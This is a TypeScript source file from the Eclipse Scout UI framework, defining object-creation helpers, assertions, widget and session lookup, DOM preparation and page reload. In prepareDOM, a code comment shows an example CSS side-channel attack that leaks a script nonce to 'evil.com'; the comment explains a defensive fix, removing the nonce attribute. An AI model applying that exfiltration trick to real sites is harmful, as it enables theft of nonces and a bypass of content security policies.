/*
 * Copyright (c) 2010, 2026 BSI Business Systems Integration AG
 *
 * This program and the accompanying materials are made
 * available under the terms of the Eclipse Public License 2.0
 * which is available at https://www.eclipse.org/legal/epl-2.0/
 *
 * SPDX-License-Identifier: EPL-2.0
 */

import {
  AdapterData, App, Device, GroupBox, Locale, locales, LogicalGridLayout, ModelAdapterLike, ObjectCreator, ObjectFactory, ObjectFactoryOptions, ObjectIdProvider, objects, ObjectType, Session, strings, TileGrid, UuidPathOptions, ValueField,
  Widget, widgets
} from './index';
import $ from 'jquery';

let $activeElements = null;

/**
 * The minimal model declaration (usually extends {@link ObjectModel}) as it would be used in a nested declaration (e.g. a {@link FormField} within a {@link GroupBox}).
 * The {@link objectType} is optional as sometimes it might be already given by the context (e.g. when passing a {@link MenuModel} to a method {@link insertMenu()} where the method sets a default {@link objectType} if missing).
 */
export type ModelOf<TObject> = TObject extends { model?: infer TModel } ? TModel : object;
/**
 * Model used to initialize an object instance. Usually the same as {@link ModelOf} but with some minimal required properties (mandatory properties).
 * The definition of the required properties can be done by the object itself by declaring a property called `initModel`.
 * A typical object with an `initModel` adds an e.g. {@link parent} or {@link session} property which needs to be present when initializing an already created instance.
 */
export type InitModelOf<TObject> = TObject extends { initModel?: infer TInitModel } ? TInitModel : ModelOf<TObject>;
/**
 * Model required to create a new object as child of an existing. To identify the object an {@link objectType} is mandatory.
 * But as the properties required to initialize the instance are derived from the parent, no other mandatory properties are required.
 */
export type ChildModelOf<TObject> = ModelOf<TObject> & { objectType: ObjectType<TObject> };
/**
 * A full object model declaring all mandatory properties. Such models contain all information to create ({@link objectType}) and initialize (e.g. {@link parent}) a new object.
 */
export type FullModelOf<TObject> = InitModelOf<TObject> & ChildModelOf<TObject>;
/**
 * Represents an instance of an object or its minimal model ({@link ModelOf}).
 */
export type ObjectOrModel<T> = T | ModelOf<T>;
/**
 * Represents an instance of an object or its child model ({@link ChildModelOf}).
 */
export type ObjectOrChildModel<T> = T | ChildModelOf<T>;

/**
 * Represents an instance of an object or its type ({@link ObjectType}).
 */
export type ObjectOrType<T> = T | ObjectType<T>;

export type Constructor<T = object> = new(...args: any[]) => T;
export type AbstractConstructor<T = object> = abstract new(...args: any[]) => T;

export type DeepPartial<T> = T extends object ? {
  [P in keyof T]?: DeepPartial<T[P]>;
} : T;

export interface ObjectWithType {
  objectType: string;
}

/**
 * Represents an object having an uuid.
 */
export interface ObjectWithUuid {
  /**
   * The unique identifier property of the object.
   *
   * This property alone may not be unique within a widget tree (e.g. if template widgets are used).
   * To get a more unique id use {@link buildUuidPath} instead.
   */
  uuid: string;

  /**
   * Parent to be used instead of the default parent when computing the uuid path for the object.
   *
   * @see buildUuidPath
   */
  uuidParent?: ObjectWithUuid;

  /**
   * Computes a unique identifier for the object.
   *
   * Compared to {@link uuid} it also considers the {@link classId} property and may use a fallback logic if none of these two properties are available, see {@link ObjectIdProvider.uuid}.
   *
   * This property alone may not be unique within a widget tree (e.g. if template widgets are used).
   * To get a more unique id use {@link buildUuidPath} instead.
   *
   * @param useFallback Optional boolean specifying if a fallback identifier may be created in case an object has no specific identifier set. The fallback may be less stable. Default is true.
   * @returns the uuid for the object or null.
   */
  buildUuid(useFallback?: boolean): string;

  /**
   * Computes a unique identifier for the object considering parent objects (if existing).
   *
   * Note: The returned id may not be unique within the application! E.g. if the same form is opened twice, its children will share the same ids.
   * @param options Optional {@link UuidPathOptions} controlling the computation of the path.
   * @see ObjectIdProvider.uuidPath.
   */
  buildUuidPath(options?: UuidPathOptions): string;

  /**
   * Sets the {@link uuid} property.
   */
  setUuid(uuid: string);
}

export interface ObjectWithId<TId = string> {
  id: TId;
}

export interface ObjectModel<TObject = object> {
  objectType?: ObjectType<TObject>;
}

export interface ObjectModelWithId<TId = string> {
  id?: TId;
}

export interface ObjectModelWithUuid<TObject = object> extends ObjectModel<TObject> {
  /**
   * A unique identifier for the object. Typically, a new random UUID can be used.
   */
  uuid?: string;
  /**
   * Parent to be used instead of the default parent when computing the uuid path for the object.
   *
   * @see ObjectWithUuid.buildUuidPath
   */
  uuidParent?: ObjectWithUuid;
}

export interface ReloadPageOptions {
  /**
   * If true, the page reload is not executed in the current thread but scheduled using setTimeout().
   * This is useful if the caller wants to execute some other code before reload. The default is false.
   */
  schedule?: boolean;
  /**
   * If true, the body is cleared first before reload. This is useful to prevent
   * showing "old" content in the browser until the new content arrives. The default is true.
   */
  clearBody?: boolean;
  /**
   * The new URL to load. If not specified, the current location is used (window.location).
   */
  redirectUrl?: string;
}

function create<T>(objectType: Constructor<T>, model?: InitModelOf<T>, options?: ObjectFactoryOptions): T;
function create<T>(model: FullModelOf<T>, options?: ObjectFactoryOptions): T;
function create(objectType: string, model?: object, options?: ObjectFactoryOptions): any;
function create(model: { objectType: string; [key: string]: any }, options?: ObjectFactoryOptions): any;
function create<T>(objectType: ObjectType<T> | FullModelOf<T>, model?: InitModelOf<T>, options?: ObjectFactoryOptions): T;

/**
 * Creates a new object instance.
 *
 * Delegates the create call to {@link ObjectFactory.create}.
 */
function create<T extends object>(objectType: ObjectType<T> | FullModelOf<T>, model?: InitModelOf<T>, options?: ObjectFactoryOptions): T {
  return ObjectFactory.get().create(objectType, model, options);
}

function widget<T extends Widget>(widgetIdOrElement: string | number | HTMLElement | JQuery, partIdOrType?: string | Constructor<T>): T;
function widget(widgetIdOrElement: string | number | HTMLElement | JQuery, partId?: string): Widget;

/**
 * Resolves the widget using the given widget id or HTML element.
 *
 * If the argument is a string or a number, it will search the widget hierarchy for the given id using {@link Widget.widget}.
 * If the argument is a {@link HTMLElement} or {@link JQuery} element, it will use {@link widgets.get(elem)} to get the widget which belongs to the given element.
 *
 * @param widgetIdOrElement
 *          a widget ID or an HTML or jQuery element
 * @param partId
 *          partId of the session the widget belongs to (optional, only relevant if the
 *          argument is a widget ID). If omitted, the first session is used.
 * @returns the widget for the given element or id
 */
function widget<T extends Widget>(widgetIdOrElement: string | number | HTMLElement | JQuery, partIdOrType?: string | Constructor<T>): T {
  if (objects.isNullOrUndefined(widgetIdOrElement)) {
    return null;
  }
  let $elem = widgetIdOrElement;
  if (typeof widgetIdOrElement === 'string' || typeof widgetIdOrElement === 'number') {
    // Find widget for ID
    let partId = typeof partIdOrType === 'string' ? partIdOrType : null;
    let session = scout.getSession(partId);
    if (session) {
      let id = strings.asString(widgetIdOrElement);
      return session.root.widget(id) as T;
    }
  }
  return widgets.get($elem as (HTMLElement | JQuery)) as T;
}

export const scout = {
  objectFactories: new Map<string | Constructor, ObjectCreator>(),

  /**
   * Returns the first of the given arguments that is not null or undefined. If no such element
   * is present, the last argument is returned. If no arguments are given, undefined is returned.
   */
  nvl(...args: any[]): any {
    let result;
    for (let i = 0; i < args.length; i++) {
      result = args[i];
      if (result !== undefined && result !== null) {
        break;
      }
    }
    return result;
  },

  /**
   * Use this method in your functions to assert that a mandatory parameter is passed
   * to the function. Throws an error when value is not set.
   *
   * @param type if this optional parameter is set, the given value must be of this type (instanceof check)
   * @returns the value (for direct assignment)
   */
  assertParameter<T>(parameterName: string, value?: T, type?: Constructor | AbstractConstructor): T {
    if (objects.isNullOrUndefined(value)) {
      throw new Error('Missing required parameter \'' + parameterName + '\'');
    }
    if (type && !(value instanceof type)) {
      throw new Error('Parameter \'' + parameterName + '\' has wrong type');
    }
    return value;
  },

  /**
   * Use this method to assert that a mandatory property is set. Throws an error when value is not set.
   *
   * @param type if this parameter is set, the value must be of this type (instanceof check)
   * @returns the value (for direct assignment)
   */
  assertProperty(object: object, propertyName: string, type?: Constructor | AbstractConstructor) {
    let value = object[propertyName];
    if (objects.isNullOrUndefined(value)) {
      throw new Error('Missing required property \'' + propertyName + '\'');
    }
    if (type && !(value instanceof type)) {
      throw new Error('Property \'' + propertyName + '\' has wrong type');
    }
    return value;
  },

  /**
   * Throws an error if the given value is null or undefined. Otherwise, the value is returned.
   *
   * @param value value to check
   * @param msg optional error message when the assertion fails
   */
  assertValue<T>(value: T, msg?: string): T {
    if (objects.isNullOrUndefined(value)) {
      throw new Error(msg || 'Missing value');
    }
    return value;
  },

  /**
   * Throws an error if the given value is not an instance of the given type. Otherwise, the value is returned.
   *
   * @param value value to check
   * @param type type to check against with "instanceof"
   * @param msg optional error message when the assertion fails
   */
  assertInstance<T>(value: any, type: Constructor<T> | AbstractConstructor<T>, msg?: string): T {
    if (!(value instanceof type)) {
      throw new Error(msg || 'Value has wrong type');
    }
    return value;
  },

  /**
   * Checks if one of the arguments from 1-n is equal to the first argument.
   * @param args to check against the value, may be an array or a variable argument list.
   */
  isOneOf(value: any, ...args /* explicit any produces warning at calling js code */): boolean {
    if (args.length === 0) {
      return false;
    }
    let argsToCheck = args;
    if (args.length === 1 && Array.isArray(args[0])) {
      argsToCheck = args[0];
    }
    return argsToCheck.indexOf(value) !== -1;
  },

  create,

  /**
   * Ensures the given parameter is an object.
   *
   * If it is an object, it will be returned as it is.
   * If it is an {@link ObjectType}, {@link scout.create} is used to create the object.
   *
   * @param model will be passed to {@link scout.create} if an object needs to be created and ignored otherwise.
   */
  ensure<T extends object>(objectOrType: ObjectOrType<T>, model?: InitModelOf<T>): T {
    if (typeof objectOrType === 'string' || typeof objectOrType === 'function') {
      return scout.create(objectOrType, model);
    }
    return objectOrType;
  },

  /**
   * Prepares the DOM for scout in the given document. This should be called once while initializing scout.
   * If the target document is not specified, the global "document" variable is used instead.
   *
   * This is used by apps (App, LoginApp, LogoutApp)
   *
   * Currently, it does the following:
   * - Remove the <noscript> tag (obviously there is no need for it).
   * - Remove <scout-text> tags (they must have been processed before, see texts.readFromDOM())
   * - Remove <scout-version> tag (it must have been processed before, see App._initVersion())
   * - Add a device / browser class to the body tag to allow for device specific CSS rules.
   * - Add browser locale to DOM so screen readers read text correctly (may get replaced if actual locale of user is loaded)
   * - If the browser is Google Chrome, add a special meta header to prevent automatic translation.
   */
  prepareDOM(targetDocument: Document) {
    targetDocument = targetDocument || document;
    // Cleanup DOM
    $('noscript', targetDocument).remove();
    $('scout-text', targetDocument).remove();
    $('scout-version', targetDocument).remove();
    let body = $('body', targetDocument);

    // remove the nonce from the body tag to prevent css side-channel attacks:
    // script[nonce~="whatever"] {
    //   background: url("https://evil.com/nonce?whatever");
    // }
    body.addDeviceClass()
      .removeAttr('data-scout-nonce')
      .removeData('scoutNonce'); // also remove from data map of body tag as it is stored on App.nonce now.

    // Set locale of the document so screen readers read text correctly
    scout.setDocumentLocale(locales.getNavigatorLocale());

    // Prevent "Do you want to translate this page?" in Google Chrome
    if (Device.get().browser === Device.Browser.CHROME) {
      let metaNoTranslate = '<meta name="google" content="notranslate" />';
      let $title = $('head > title', targetDocument);
      if ($title.length === 0) {
        // Add to end of head
        $('head', targetDocument).append(metaNoTranslate);
      } else {
        $title.after(metaNoTranslate);
      }
    }
  },

  /**
   * Installs a global 'mousedown' interceptor to invoke 'aboutToBlurByMouseDown' on value field before anything else gets executed.
   */
  installGlobalMouseDownInterceptor(myDocument: Document) {
    myDocument.addEventListener('mousedown', event => {
      ValueField.invokeValueFieldAboutToBlurByMouseDown(event.target as Element);
    }, true); // true=the event handler is executed in the capturing phase
  },

  /**
   * Because Firefox does not set the active state of a DOM element when the mousedown event
   * for that element is prevented, we set an 'active' CSS class instead. This means in the
   * CSS we must deal with :active and with .active, where we need same behavior for the
   * active state across all browsers.
   *
   * Typically, you'd write something like this in your CSS:
   * ```
   *   button:active, button.active { ... }
   * ```
   */
  installSyntheticActiveStateHandler(myDocument: Document) {
    if (Device.get().requiresSyntheticActiveState()) {
      $activeElements = [];
      $(myDocument)
        .on('mousedown', (event: JQuery.MouseDownEvent) => {
          let $element = $(event.target);
          while ($element.length) {
            $activeElements.push($element.addClass('active'));
            $element = $element.parent();
          }
        })
        .on('mouseup', () => {
          $activeElements.forEach($element => {
            $element.removeClass('active');
          });
          $activeElements = [];
        });
    }
  },

  /**
   * Sets locale of the document, important for screen readers
   * @param locale
   */
  setDocumentLocale(locale: Locale) {
    if (!objects.isNullOrUndefined(locale)) {
      document.documentElement.lang = locale.languageTag;
    }
  },

  widget,

  /**
   * Helper to get the model adapter for a given adapterId. If there is more than one
   * session, e.g. in case of portlets, the second argument specifies the partId of the session
   * to be queried. If not specified explicitly, the first session is used. If the session or
   * the adapter could not be found, null is returned.
   */
  adapter(adapterId: string, partId: string): ModelAdapterLike {
    if (objects.isNullOrUndefined(adapterId)) {
      return null;
    }
    let session = scout.getSession(partId);
    if (session && session.modelAdapterRegistry) {
      return session.modelAdapterRegistry[adapterId];
    }
    return null;
  },

  /**
   * @returns the session for the given partId. If the partId is omitted, the first session is returned.
   */
  getSession(partId?: string): Session {
    let sessions = App.get().sessions;
    if (!sessions) {
      return null;
    }
    if (objects.isNullOrUndefined(partId)) {
      return sessions[0];
    }
    for (let i = 0; i < sessions.length; i++) {
      let session = sessions[i];
      // eslint-disable-next-line eqeqeq
      if (session.partId == partId) { // <-- compare with '==' is intentional! (NOSONAR)
        return session;
      }
    }
    return null;
  },

  /**
   * This method exports the adapter with the given ID as JSON, it returns a plain object containing the
   * configuration of the adapter. You can transform that object into JSON by calling <code>JSON.stringify</code>.
   * This method can only be called through the browser JavaScript console.
   * Here's an example of how to call the method:
   *
   * JSON.stringify(exportAdapter(4))
   */
  exportAdapter(adapterId: string, partId: string): AdapterData {
    let session = scout.getSession(partId);
    if (session && session.modelAdapterRegistry) {
      let adapter = session.getModelAdapter(adapterId);
      if (!adapter) {
        return null;
      }
      let adapterData = cloneAdapterData(adapterId);
      resolveAdapterReferences(adapter, adapterData);
      adapterData.type = 'model'; // property 'type' is required for models.ts
      return adapterData;
    }

    // ----- Helper functions -----

    function cloneAdapterData(adapterId: string): AdapterData {
      let adapterData = session.getAdapterData(adapterId);
      adapterData = $.extend(true, {}, adapterData);
      return adapterData;
    }

    function resolveAdapterReferences(adapter: ModelAdapterLike, adapterData: AdapterData) {
      let tmpAdapter: ModelAdapterLike, tmpAdapterData: AdapterData;
      adapter.widget.widgetProperties.forEach(widgetPropertyName => {
        let widgetPropertyValue = adapterData[widgetPropertyName];
        if (!widgetPropertyValue) {
          return; // nothing to do when property is null
        }
        if (Array.isArray(widgetPropertyValue)) {
          // value is an array of adapter IDs
          let adapterDataArray = [];
          widgetPropertyValue.forEach(adapterId => {
            tmpAdapter = session.getModelAdapter(adapterId);
            tmpAdapterData = cloneAdapterData(adapterId);
            resolveAdapterReferences(tmpAdapter, tmpAdapterData);
            adapterDataArray.push(tmpAdapterData);
          });
          adapterData[widgetPropertyName] = adapterDataArray;
        } else {
          // value is an adapter ID
          tmpAdapter = session.getModelAdapter(widgetPropertyValue);
          tmpAdapterData = cloneAdapterData(widgetPropertyValue);
          resolveAdapterReferences(tmpAdapter, tmpAdapterData);
          adapterData[widgetPropertyName] = tmpAdapterData;
        }
      });
      adapterData = adapter.exportAdapterData(adapterData);
    }

    return null;
  },

  /**
   * Reloads the entire browser window.
   */
  reloadPage(options?: ReloadPageOptions) {
    options = options || {} as ReloadPageOptions;
    if (options.schedule) {
      setTimeout(reloadPageImpl);
    } else {
      reloadPageImpl();
    }

    // ----- Helper functions -----

    function reloadPageImpl() {
      // Hide everything (on entire page, not only $entryPoint)
      if (scout.nvl(options.clearBody, true)) {
        $('body').html('');
      }

      if (options.redirectUrl) {
        window.location.href = options.redirectUrl;
      } else {
        window.location.reload();
      }
    }
  },

  /**
   * @param factories Object that contains the object type as key and the that constructs the object as value.
   *          If you prefer using a class reference as object type rather than a string, please use {@link addObjectFactory} to register your factory.
   * @see create
   */
  addObjectFactories(factories: Record<string, ObjectCreator>) {
    for (let [objectType, factory] of Object.entries(factories)) {
      scout.addObjectFactory(objectType, factory);
    }
  },

  /**
   * @param objectType ObjectType to register the factory for.
   * @param factory Function that constructs the object.
   * @see create
   */
  addObjectFactory(objectType: ObjectType, factory: ObjectCreator) {
    scout.objectFactories.set(objectType, factory);
  },

  cloneShallow(template: object, properties?: object, createUniqueId?: boolean): object {
    scout.assertParameter('template', template);
    let clone = Object.create(Object.getPrototypeOf(template));
    Object.getOwnPropertyNames(template)
      .forEach(key => {
        clone[key] = template[key];
      });
    if (properties) {
      for (let key in properties) {
        clone[key] = properties[key];
      }
    }
    if (scout.nvl(createUniqueId, true)) {
      clone.id = ObjectIdProvider.get().createUiSeqId();
    }
    if (clone.cloneOf === undefined) {
      clone.cloneOf = template;
    }
    return clone;
  },

  /**
   * Enables or disables the layout spy that visualizes the cell bounds of the logical grid for debugging purposes.
   * The spy can be enabled on elements that belong to a widget using a {@link LogicalGridLayout}, e.g. {@link GroupBox}, {@link TileGrid}, etc.
   */
  setLogicalGridSpyEnabled(elem: HTMLElement, enabled: boolean) {
    let layout;
    let widget = scout.widget(elem);
    if (widget instanceof GroupBox) {
      layout = widget.htmlBody.layout;
      widget.htmlBody.invalidateLayoutTree(false);
    } else {
      layout = widget.htmlComp.layout;
      widget.htmlComp.invalidateLayoutTree(false);
    }
    if (!(layout instanceof LogicalGridLayout)) {
      throw new Error('Layout needs to be a LogicalGridLayout');
    }
    layout.setSpyEnabled(enabled);
  }
};
